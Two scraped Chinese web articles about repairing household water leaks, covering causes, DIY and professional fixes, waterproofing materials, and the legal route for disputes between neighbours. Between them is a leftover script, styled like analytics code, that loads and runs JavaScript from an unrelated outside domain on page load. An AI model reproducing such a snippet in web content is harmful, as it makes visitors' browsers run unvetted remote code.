房屋漏水维修你所不知道的几个要点

房屋漏水是大家平时生活中很常出现的问题，万一自己家漏水影响了楼下住户或者自己家被楼上住户漏水影响并且没有及时妥善的处理，将会导致邻里发生矛盾。所以一旦出现房屋漏水的情况，一定要及时和邻里、物业协调，并且妥当的进行房屋漏水维修，这样才能避免矛盾的产生。那么房屋漏水到底要怎么维修呢？下面就详细来说明一下维修的方法以及材料的选择。一、弄清楚房屋为什么会漏水房屋漏水大多由以下几种情况引起：1、房屋产生裂痕引起漏水2、房子的管道破裂引起漏水3、房子在装修时没有很好的进行防水处理或者防水层已经破坏。遇到漏水时，首先要确定自己的房子有没有在保修期内，明确漏水是谁的责任，一般防水的保修期为五年。二、房屋漏水维修方法1、房屋漏水维修最直接的办法就是找物业进行维修，但最好找专业房屋漏水维修机构进行维修，因为专业的机构使用的材料会更好一点，维修也会更专业。2、也可以自己买防水剂进行维修，市面上防水剂的品牌非常多并且价格也不贵，防水剂一般都附有说明书，遇到房子漏水不严重的情况，可以自己买防水剂进行维修。3、如果是因为房屋裂缝产生的漏水，也可以用最传统的方法用水泥填补房屋裂缝，虽然较为麻烦，但这种修补方法性价比非常高。三、房屋漏水维修中材料的选择1、目前市面上有一种深受广大消费者喜爱的材料，叫做弹性水泥，耐水性和抗渗性很好，特别适合在潮湿的基面上进行施工。2、市面上还有一种新型防水材料叫做特种防水也被很多消费者选择，因为它无毒性无味道并且防火阻燃，附着力非常强，环保也是其特性之一。以上就是房屋漏水维修的相关内容，希望能在关键时刻帮助到大家。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

房屋漏水找哪个部门?房屋漏水原因及维修方法

我们都知道，大自然的丰富多彩造就了这个社会的多种多样，春夏秋冬，作为在一年四季兄景色各异的风景，它也会伴随着一定的温度，春天，作为一个雨水多的季节，农村的人家可能会屋顶漏水，而我们现在大多住在小区里也会出现房屋漏水，这样会在一定程度上对我们的生活产生一定的影响，那么，对于房屋漏水的问题，我们应该找哪个部门呢?房屋漏水的原因是什么呢?房屋漏水该怎么办?下面就让我来为大家对房屋漏水找哪个部门?房屋漏水原因及维修方法做具体介绍吧。房屋漏水找哪个部门第一步，找物业和开发商协商解决;第二步，找政府主管部门(建设局、质监局等)投诉和反映;第三步，向人民法院提起民事诉讼。物业漏水的原因一、防水层破坏漏水;二、管线损坏漏水;三、房屋裂缝漏水;不同的情况处理的方法：1、保修期内精装修房因防水层损坏漏水怎么办?一般该由开发商负责维修因使用不当造成损坏应由行为人修复;2、保修期内毛坯房因防水层损坏漏水怎么办?(1)如果在收房时客户曾亲自对24小时闭水实验进行确认，由客户负责;(2)如果客户没有亲自确认，开发商只有竣工验收合格证，能证明客户人为损坏的由客户负责;不能分清责任的，双方协商解决，协商不成，申请第三方鉴定，费用由鉴定后责任方负责;3、保修期外防水层因自然损坏漏水怎么办?房屋是一种特殊商品，其特殊性之一就在于房产的不同所有人之间，存在结构相连或共有、共用设备和附属建筑，这叫异产毗连房屋。建设部《城市异产毗连房屋管理规定》中第九条规定：发生自然损坏，所需修缮费用由涉及的所有人按分额比例承担。4、保修期外防水因人为损坏漏水怎么办?建设部《城市异产毗连房屋管理规定》第十一条规定：异产毗连房屋因使用不当造成损坏，由责任人负责。5、相邻业主不配合怎么办?对于相邻业主不配合的情况，《城市异产毗连房屋管理规定》第十条规定，异产毗连房屋的自然损坏，应及时维修，不得拖延或拒绝，否则，造成损失的，责任人应负责赔偿。根据这条规定，如果相邻业主不配合，可以找业主委员会或社区居民委员会协调，因为协调业主关系也是他们的义务，如果不成，向当地房屋主管部门反映情况寻求调解，或向当地人民法院提起诉讼。房屋漏水不仅会在我们生活中带来一定的困扰，不仅干扰到我们的日常生活，还有在我们的室内环境产生不好的反应，造成恶劣的居住环境。上面介绍的方法解决了房屋漏水带来的一些困扰，房屋漏水只需要参照上面的方法就可以在一定程度上完成补漏，这时，详细了解房屋补漏最佳方法，能够让你对房屋补漏怎么处理有更深刻的了解和认识。